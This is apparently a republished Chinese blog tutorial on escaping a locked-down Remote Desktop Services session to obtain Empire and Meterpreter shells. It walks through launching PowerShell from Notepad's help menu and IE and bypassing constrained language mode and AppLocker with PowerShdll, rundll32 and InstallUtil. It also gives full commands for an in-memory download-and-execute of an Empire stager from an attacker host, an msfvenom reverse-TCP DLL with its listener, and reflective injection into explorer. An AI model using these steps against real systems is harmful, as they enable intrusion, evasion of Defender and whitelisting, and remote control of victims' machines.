溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

發(fā)布時(shí)間:2021-11-11 15:27:57 來(lái)源:億速云 閱讀:140 作者:柒染 欄目:編程語(yǔ)言

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

小編將為大家詳細(xì)介紹如何在只能訪問(wèn)遠(yuǎn)程桌面服務(wù),且有 AppLocker 保護(hù) PowerShell 處于語(yǔ)言約束模式下獲取目標(biāo)機(jī)器 Empire shell。PowerShell 處于語(yǔ)言約束模式,可以防止大多數(shù)PowerShell 技巧的使用。另外,還有 Windows Defender 也是我們必須要面對(duì)和解決的問(wèn)題。 

環(huán)境要求:

RDS服務(wù)器放行80端口出站流量。

.Net v3.5(用于PowerShdll中的dll模式)

注:powershell.exe不是Powershell。它只托管包含PowerShell的程序集并處理I/O.System.Management.Automation.dll

有關(guān)更多信息,請(qǐng)參閱文末鏈接內(nèi)容。

從 RDS notepad 獲取 shell

https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/

https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/

在記事本界面菜單欄依次選擇幫助 -> 查看幫助 -> 觸發(fā)IE瀏覽器打開(kāi)

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

右鍵單擊IE中的任意鏈接 ->將目標(biāo)另存為 ->在桌面上另存為lol.ps1

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

點(diǎn)擊IE中的查看下載,按下文件的下拉列表,打開(kāi) -> 記事本。只需在文件中寫(xiě)入powershell.exe并再次保存。

現(xiàn)在,我們?cè)俅卧贗E中右鍵單擊 ->“將目標(biāo)另存為”。轉(zhuǎn)到下拉菜單“保存類(lèi)型”,然后選擇“所有文件”。你已保存的ps1文件將被顯示,你可以選擇“運(yùn)行 PowerShell”這會(huì)彈出一個(gè)PowerShell命令提示符。但當(dāng)前的PowerShell提示符處于語(yǔ)言約束模式。我們可以通過(guò)自動(dòng)化變量$ExecutionContext.SessionState.LanguageMode進(jìn)行驗(yàn)證,可以看到結(jié)果為ConstrainedLanguage。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

繞過(guò) PoSh 約束模式

首先,我們從https://github.com/p3nt4/PowerShdll下載PowerShdll。然后使用python -m SimpleHTTPServer 80在Kali Web服務(wù)器上托管powershdll.dll。接著,在IE中打開(kāi)http://10.7.253.10/PowerShdll.dll。最后,將其保存為 -> PowerShdll.dll(可以保存在任何文件夾下)。C:\Windows\Tasks文件夾是一個(gè)繞過(guò)Applocker的好地方,因?yàn)樵撃夸浲ǔ1涣袨榘酌麊?。但?dǎo)航到文件夾也可能受到限制,因此在某些情況下你可能需要將其保存到C:\Users\Username\Desktop(桌面)。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

我還不確定如何在Applocked環(huán)境中檢查DLL規(guī)則。

現(xiàn)在,我們將PowerShell提示符導(dǎo)航至桌面,并使用rundll32來(lái)執(zhí)行dll。

rundll32 .\PowerShdll.dll,main -w

此時(shí),應(yīng)該會(huì)彈出一個(gè)新的交互式PowerShell提示符。我們?cè)俅瓮ㄟ^(guò)自動(dòng)化變量$ExecutionContext.SessionState.LanguageMode進(jìn)行驗(yàn)證,可以看到現(xiàn)在已經(jīng)變?yōu)榱薋ullLanguage(完整語(yǔ)言模式)。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

更簡(jiǎn)單的方法

直到后來(lái)我才發(fā)現(xiàn),其實(shí)完全可以省去最后兩步的操作。只需使用set Base64 false和set Outfile shell生成一個(gè)Empire stager即可。現(xiàn)在從不受限的PowerShell中,下載shell并將其直接執(zhí)行到內(nèi)存中。

IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.18/shell');

如果你夠幸運(yùn)Defender將不會(huì)攔截,并且你將獲取到一個(gè)Empire shell/agent。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

獲取 meterpreter shell

生成一個(gè)dll payload:

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.2 lport=8081 -f dll -o msf.dll

設(shè)置msf偵聽(tīng)程序,使用相同的payload,主機(jī)和端口。

use multi/handler
set host tun0
set port 8081
set payload windows/x64/meterpreter/reverse_tcp
exploit

使用之前的IE“另存為”技巧下載msf.dll。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

出于某種原因,Windows Defender并沒(méi)有攔截我的payload??赡苁且?yàn)閜ayload的x64簽名尚未被Defender識(shí)別為惡意軟件,具體我也不是很清楚。

現(xiàn)在,我們使用rundll32來(lái)執(zhí)行dll。之所以使用rundll32,是因?yàn)樗且粋€(gè)不會(huì)被Applocker阻止的二進(jìn)制文件。

rundll32 .\msf.dll,Control_RunDLL

成功獲取到了meterpreter shell。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

沒(méi)有 powershell.exe 的 Empire

假設(shè)您已建立了一個(gè)metasploit會(huì)話。

在Empire中,創(chuàng)建一個(gè)empire listener 和 stager。最重要的是將Base64設(shè)置為false,防止stager調(diào)用powershell.exe。由于受限的語(yǔ)言模式,將導(dǎo)致powershell.exe無(wú)法在此處運(yùn)行。

uselistener http
set Host 10.7.253.18
set Port 4444
execute
back
usestager multi/launcher
set Base64 false
generate

現(xiàn)在在MSF中:

load powershell
powershell_shell

在交互式shell中復(fù)制粘貼empire listener,在Empire中應(yīng)該會(huì)生成一個(gè)agent代理。

如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell

更多高級(jí)技術(shù)

繞過(guò) powershell 約束模式和 applocker

以下是一篇關(guān)于繞過(guò)應(yīng)用白名單和powershell約束模式的文章,大家可以閱讀下:

https://improsec.com/blog/babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell

1.使用windows/hta生成一個(gè)listener和hta stager。

2.在visual studio中打開(kāi)ReflectivePick project。在適當(dāng)?shù)奈恢锰砑觝ta base64 shell stager,并將dll編譯為ReflectivePick_x64.dll。

3.使用以下PS命令將DLL編碼為base64,并將結(jié)果通過(guò)管道傳輸?shù)揭粋€(gè)文本文件中。

$Content = Get-Content .\ReflectivePick_x64.dll -Encoding Byte
$Encoded = [System.Convert]::ToBase64String($Content)
$Encoded | Out-File "C:\Windows\Tasks\dll.txt"

4.復(fù)制粘貼dll.txt的內(nèi)容到Invoke-ReflectivePEInjection.ps1的新變量中。

$dllData = "DLLBASE64_GOES_HERE"
$ProcId = (Get-Process explorer).Id
$Bytes = [System.Convert]::FromBase64String($dllData)
Invoke-ReflectivePEInjection -PEBytes $Bytes -ProcId $ProcId

5.使用https://www.base64encode.org/在線Base64編碼整個(gè)腳本。打開(kāi)VS中的Bypass project,并將編碼后的內(nèi)容復(fù)制粘貼到encoded變量中。使用VS將其編譯為Bypass.exe。

6.使用installutil.exe執(zhí)行bypass.exe

set-location \\tsclient\lkylabs
copy-item .\Bypass.exe c:\windows\tasks
cd c:\windows\tasks
C:\windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe

看完上述內(nèi)容,你們掌握如何從遠(yuǎn)程桌面服務(wù)到獲取Empire Shell的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI